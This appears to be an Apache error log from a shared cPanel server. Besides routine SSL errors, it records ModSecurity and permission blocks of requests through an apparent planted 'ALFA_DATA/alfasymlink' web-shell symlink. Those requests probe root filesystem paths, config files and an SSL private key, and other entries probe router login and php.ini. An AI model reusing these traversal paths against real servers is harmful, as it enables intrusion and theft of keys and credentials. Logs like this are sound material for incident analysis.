[Sat Oct 24 23:03:02.198193 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.195.50.71:24199] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:03:08.207778 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 85.208.96.202:53582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/slabs
[Sat Oct 24 23:03:18.261677 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 34.195.248.30:57530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:03:22.255430 2026] [ssl:error] [pid 2749302:tid 2749302] (22)Invalid argument: [client 34.231.45.47:29566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:03:34.211012 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 100.28.57.133:63749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:03:39.549622 2026] [core:crit] [pid 2749160:tid 2749160] (13)Permission denied: [client 152.42.223.125:56499] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 23:03:42.243378 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 34.238.45.183:39499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:03:58.198446 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.230.124.21:19612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:04:22.268679 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 52.200.58.199:60805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:04:33.419567 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.2:27720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/objects
[Sat Oct 24 23:04:34.135815 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 35.171.117.160:48657] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:04:38.256874 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 34.205.170.13:50180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:04:42.277559 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.202.233.37:32286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:05:02.153984 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 34.224.9.144:9521] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:05:10.244830 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 34.239.197.197:30591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:05:14.175151 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.1.157.90:47198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:05:38.181488 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 100.29.63.24:14311] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:05:42.242942 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 98.82.107.102:50334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:05:58.310477 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.206.65.8:1146] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:06:22.140130 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 18.213.240.226:48370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:06:22.351854 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 85.208.96.203:20514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/hwcache_align
[Sat Oct 24 23:06:45.952975 2026] [security2:error] [pid 2748404:tid 2748404] [client 153.117.28.146:37493] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/boaform/admin/formLogin"] [unique_id "at1yRSaQM5FksUWf32CMlQAAACk"]
[Sat Oct 24 23:06:54.128729 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 98.82.38.120:60891] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:06.137570 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 184.72.95.195:56940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:09.622121 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 85.208.96.209:22846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/tmp/fqNiB_O60Q
[Sat Oct 24 23:07:14.202840 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 50.19.102.70:30366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:18.155454 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 18.215.24.66:49916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:21.702398 2026] [authz_core:error] [pid 2749302:tid 2749302] [client 17.166.154.31:51936] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:07:30.604738 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.14:56474] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/recommend.d/50-tuned.conf"] [unique_id "at1ycjBA89jTW6EoHYFxjwAAAAM"]
[Sat Oct 24 23:07:30.605332 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.14:56474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/recommend.d/50-tuned.conf"] [unique_id "at1ycjBA89jTW6EoHYFxjwAAAAM"]
[Sat Oct 24 23:07:30.605947 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.14:56474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/recommend.d/50-tuned.conf"] [unique_id "at1ycjBA89jTW6EoHYFxjwAAAAM"]
[Sat Oct 24 23:07:40.778907 2026] [security2:error] [pid 2748404:tid 2748404] [client 85.208.96.207:22806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/ukrainian/errmsg.sys"] [unique_id "at1yfCaQM5FksUWf32CMlwAAACk"]
[Sat Oct 24 23:07:40.779272 2026] [security2:error] [pid 2748404:tid 2748404] [client 85.208.96.207:22806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/ukrainian/errmsg.sys"] [unique_id "at1yfCaQM5FksUWf32CMlwAAACk"]
[Sat Oct 24 23:07:40.779734 2026] [security2:error] [pid 2748404:tid 2748404] [client 85.208.96.207:22806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/ukrainian/errmsg.sys"] [unique_id "at1yfCaQM5FksUWf32CMlwAAACk"]
[Sat Oct 24 23:07:42.217352 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 23.23.99.55:44648] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:46.130326 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 34.225.24.180:37723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:50.147208 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 3.89.170.186:63623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:07:58.839290 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 185.191.171.11:14904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-4k/usersize
[Sat Oct 24 23:08:02.277282 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 23.21.250.48:48815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:08:15.027679 2026] [security2:error] [pid 2749302:tid 2749302] [client 85.208.96.197:22800] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/dracut.conf"] [unique_id "at1yn9-TBPgBf3j6QfIIBgAAAAc"]
[Sat Oct 24 23:08:15.028102 2026] [security2:error] [pid 2749302:tid 2749302] [client 85.208.96.197:22800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/dracut.conf"] [unique_id "at1yn9-TBPgBf3j6QfIIBgAAAAc"]
[Sat Oct 24 23:08:15.028396 2026] [security2:error] [pid 2749302:tid 2749302] [client 85.208.96.197:22800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/dracut.conf"] [unique_id "at1yn9-TBPgBf3j6QfIIBgAAAAc"]
[Sat Oct 24 23:08:30.135820 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 184.72.95.195:63395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:08:33.105990 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 185.191.171.13:63584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/hwcache_align
[Sat Oct 24 23:08:34.148685 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 44.223.116.180:9233] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:08:38.144895 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 18.235.158.19:30159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:08:53.125391 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 185.191.171.13:55274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/objs_per_slab
[Sat Oct 24 23:09:10.158767 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.4.229.9:60022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:09:14.144582 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 3.221.156.96:29649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:09:18.293452 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 52.71.203.206:53774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Sat Oct 24 23:09:23.026203 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 85.208.96.193:41324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/trace
[Sat Oct 24 23:09:26.144263 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 50.16.248.61:2054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:09:34.122254 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 34.231.118.144:9744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:09:38.121936 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 18.214.138.148:39761] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:09:46.184446 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.205.192.249:6596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:02.148262 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.231.45.47:19737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:10.966946 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 16.216.88.147:1024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-4.18.0-553.58.1.el8_10.x86_64.img
[Sat Oct 24 23:10:18.270477 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 3.211.105.134:40910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:21.363929 2026] [authz_core:error] [pid 2749160:tid 2749160] [client 194.187.176.24:39118] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:10:22.220317 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.226.106.93:38248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:22.220529 2026] [security2:error] [pid 2748404:tid 2748404] [client 3.226.106.93:38248] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/1:0:0:0/state"] [unique_id "at1zHiaQM5FksUWf32CMnQAAACk"]
[Sat Oct 24 23:10:22.220729 2026] [security2:error] [pid 2748404:tid 2748404] [client 3.226.106.93:38248] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/1:0:0:0/state"] [unique_id "at1zHiaQM5FksUWf32CMnQAAACk"]
[Sat Oct 24 23:10:26.171959 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.230.69.161:14022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:27.244801 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 85.208.96.193:57320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/slabs
[Sat Oct 24 23:10:30.304571 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 35.170.205.140:24649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory3/subsystem/uevent
[Sat Oct 24 23:10:38.148219 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 54.91.122.193:21006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:46.147002 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 23.21.250.48:28387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:50.131024 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 18.214.138.148:25801] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:54.172040 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 100.25.120.246:19314] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:10:58.123469 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.209.35.147:35787] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:11:22.175171 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 3.89.176.255:27006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 23:11:30.150229 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 54.87.62.248:32977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/piix4_smbus/module/uevent
[Sat Oct 24 23:11:38.186091 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 107.23.62.75:15262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:11:47.997010 2026] [security2:error] [pid 2748405:tid 2748405] [client 185.191.171.6:61402] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d937a_3fd49_767e06084701a3fa3a2b0ebb39634331.key"] [unique_id "at1zc1yEldkI1XsDE__7JQAAAAA"]
[Sat Oct 24 23:11:47.997401 2026] [security2:error] [pid 2748405:tid 2748405] [client 185.191.171.6:61402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d937a_3fd49_767e06084701a3fa3a2b0ebb39634331.key"] [unique_id "at1zc1yEldkI1XsDE__7JQAAAAA"]
[Sat Oct 24 23:11:47.997706 2026] [security2:error] [pid 2748405:tid 2748405] [client 185.191.171.6:61402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d937a_3fd49_767e06084701a3fa3a2b0ebb39634331.key"] [unique_id "at1zc1yEldkI1XsDE__7JQAAAAA"]
[Sat Oct 24 23:11:50.134798 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 52.2.58.41:40086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:11:54.151037 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.214.124.6:42547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:11:58.129816 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.70.138.176:63982] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:12:00.849501 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 185.191.171.10:13718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/free_calls
[Sat Oct 24 23:12:06.160327 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 54.159.18.27:61484] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:12:18.148851 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 34.196.114.170:1290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:12:46.150519 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 44.208.223.68:6024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:12:50.146358 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 3.220.70.171:51650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:12:54.161417 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.210.204.255:22666] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:02.141255 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 50.19.79.213:4677] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/driver/uevent
[Sat Oct 24 23:13:06.177061 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 34.205.163.103:49871] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:10.187145 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 54.197.82.195:4683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:18.149460 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 18.209.137.234:28040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:42.183999 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 44.206.65.8:4803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:42.745613 2026] [authz_core:error] [pid 2749158:tid 2749158] [client 34.79.161.87:53138] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:13:43.067699 2026] [authz_core:error] [pid 2749160:tid 2749160] [client 34.140.146.112:33872] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:13:43.068172 2026] [security2:error] [pid 2749160:tid 2749160] [client 34.140.146.112:33872] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at1z5_G7fKP2nlCDuzzHlAAAAAg"]
[Sat Oct 24 23:13:43.068203 2026] [security2:error] [pid 2749160:tid 2749160] [client 34.140.146.112:33872] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at1z5_G7fKP2nlCDuzzHlAAAAAg"]
